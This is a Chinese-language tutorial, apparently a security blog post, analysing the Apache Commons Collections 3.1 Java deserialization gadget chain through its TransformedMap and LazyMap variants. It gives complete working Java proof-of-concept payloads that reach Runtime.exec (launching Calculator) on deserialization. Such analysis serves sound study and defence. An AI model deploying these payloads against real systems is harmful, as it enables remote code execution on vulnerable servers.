测试环境
- commons-collections3.1~3.2.1(笔者环境3.1)
- jdk 8u71之前都可以(笔者环境:8u66)
maven:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
该漏洞主流的两个版本为:TransformedMap
,LazyMap
本文着重分析这两个类。
TransformedMap版本
org.apache.commons.collections.map.TransformedMap
类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 来定义,Transformer 在 TransformedMap 实例化时作为参数传入。
举个例子获得一个TransformedMap的实例,可以通过TransformedMap.decorate()方法:
Map tansformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
其源码如下:
当TransformedMap内的key或者value发生变化时,就会触发相应参数的Transformer的transform()方法。
Transformer
Transformer只是一个接口,提供了一个 transform()
方法,用来定义具体的转换逻辑。方法接收 Object 类型的 input,处理后将 Object 返回。
查找那些类实现了Transformer
接口,这里我们重点查看InvokerTransformer
,因为它是我们反序列化能执行任意代码的关键。
InvokerTransformer
重点查看该类的transform()
方法
这里通过 input.getClass();
获取对象,然后通过 cls.getMethod(this.iMethodName, this.iParamTypes);
传入方法名、方法的的参数类型来调用对象的方法,之后通过 method.invoke(input, this.iArgs);
来执行该方法。
并且该类也实现了 Serializable
接口,尝试进行序列化与反序列化的利用
package study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import javax.xml.ws.spi.Invoker;
import java.io.*;
public class Demo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer invoker = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./test.bin"));
outputStream.writeObject(invoker);
outputStream.close();
FileInputStream fi = new FileInputStream("./test.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
InvokerTransformer in = (InvokerTransformer) fin.readObject();
in.transform(Runtime.getRuntime());
}
}
这里我们看看我们的一句话到函数里面是如何构造的:
- methodName = “exec” => iMethodName
- paramTypes = “new Class[]{String.class}” => iParamtypes
- iArgs = “new String[]{“open -a Calculator”}” => iArgs
虽然成功执行,但是单单利用 InvokeTransformer
类来进行反序列化漏洞的利用在实战中是条件极其苛刻的
目标得恰巧利用
InvokerTransformer
将反序列化后的数据进行转型。目标得在转型后,正好调用了
transform
,并且参数是攻击者可以控制的。
不过前辈们早已找到了更好的方法了!
ChainedTransformer
org.apache.commons.collections.functors.ChainedTransformer
类也是一个Transformer
实现类,在调用 ChainedTransformer
的 transform
方法时,会循环数组,依次调用 Transformer
数组中每个Transformer
的transform
方法,并将结果传递给下一个 Transformer
,这样就给了使用者链式调用多个 Transformer 分别处理对象的能力。
ConstantTransformer
这个同样是实现 Transformer
接口的一个类,非常简单在初始化时储存了一个 Object,后续的调用时会直接返回这个 Object。
思路整理
由了上面的铺垫这里我们可以把整个攻击思路整理一下:
- 使用 ConstantTransformer 返回 Runtime 的 Class 对象,传入 InvokerTransformer 中.
- 借助 ChainedTransformer 的链式调用方式完成反射的调用,运行恶意代码
- 使用 TransformedMap 的 decorate 方法将 ChainedTransformer 设置为 map 的装饰器处理方法后,当调用 TransformedMap 的 put/setValue 等方法时会触发 Transformer 链的调用处理。
我们在写一个Demo进行验证:
package study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.ws.spi.Invoker;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
public class Demo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[]{} }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[]{} }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChian
Map innerMap = new HashMap();
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
//调用 TransformedMap 的 put/setValue 等方法时会触发 Transformer 链的调用处理,触发RCE
outerMap.put("value", "value");
}
}
这里最后还存在一个问题:
- 上面的 Demo 需要我们手工执行改变 map 中的 key 的值,也就是手动执行
outerMap.put("value", "value");
才可以触发命令执行,但在实际的应用中,不可能让我们手动执行,所以需要找到一个实现了Serializable
的类,它在反序列化的 readObject 逻辑里有类似的写入操作。
AnnotationInvocationHandler
我们来看一下这个类的代码,首先是构造方法:
构造方法接收两个参数,第一个参数是 Annotation 实现类的 Class 对象,第二个参数是是一个 key 为 String、value 为 Object 的 Map。构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class
,才会将两个参数初始化在成员属性 type 和 memberValues 中。
重写的readObject
方法:
首先调用 AnnotationType.getInstance(this.type)
方法来获取 type 这个注解类对应的 AnnotationType 的对象,然后获取其 memberTypes 属性,这个属性是个 Map,存放这个注解中可以配置的值。
然后循环 this.memberValues
这个 Map ,获取其 Key,如果注解类的 memberTypes 属性中存在与 this.memberValues
的 key 相同的属性,并且取得的值不是 ExceptionProxy 的实例也不是 memberValues 中值的实例,则取得其值,并调用 setValue 方法写入值。
最终结果
最终payload:
package study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.ws.spi.Invoker;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Demo {
public static void main(String[] args) throws Exception {
//1.客户端构建攻击代码
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[]{} }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[]{} }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChian
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Target.class, outerMap);
//payload序列化写入文件,模拟网络传输
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
fout.writeObject(instance);
//2.服务端读取文件,反序列化,模拟网络传输
ObjectInputStream fin = new ObjectInputStream(new FileInputStream("cc1.bin"));
//服务端反序列化,触发漏洞
fin.readObject();
}
}
LazyMap版本
LazyMap 和 TransformedMap 类似,都来自于 CommonCollections 库,并继承自 AbstractMapDecorator。
TransformedMap 是只要调用 decorate () 函数,传入 key 和 value 的变换函数 Transformer,然后 Map 中的任意项的 Key 或者 Value 被修改,相应的 Transformer (keyTransformer 或者 valueTransformer) 的 transform 方法就会被调用。
LazyMap 是只要执行 get 方法就会调用 transform,这个利用链利用的核心条件就是去寻找一个类,在对象进行反序列化时会调用精心构造对象的 LazyMap 的 get 方法。
但是在查看其 get
方法,发先调用了 transform
方法(当中不到key值的时候)
因此需要找到一个 readObject
能跳转到这个地方的类,这里同样使用的是 AnnotationInvocationHandler
类
它实现了 InvocationHandler
并且可被反序列化
在其 invoke
方法中调用了 get
方法
确实调用了 get
方法,因此只要将此类用来代理 LazyMap
的话(实现了InvocationHandler,因此就可以作为代理类),那么无论调用什么方法都可以调用到 get
而在 readObject
里面确实也调用了这个
因为 AnnotationInvocationHandler
的构造方法是私有的,因此我们也要使用反射调用它
最终payload:
package study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Demo {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"open -a Calculator"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
handler = (InvocationHandler)
construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}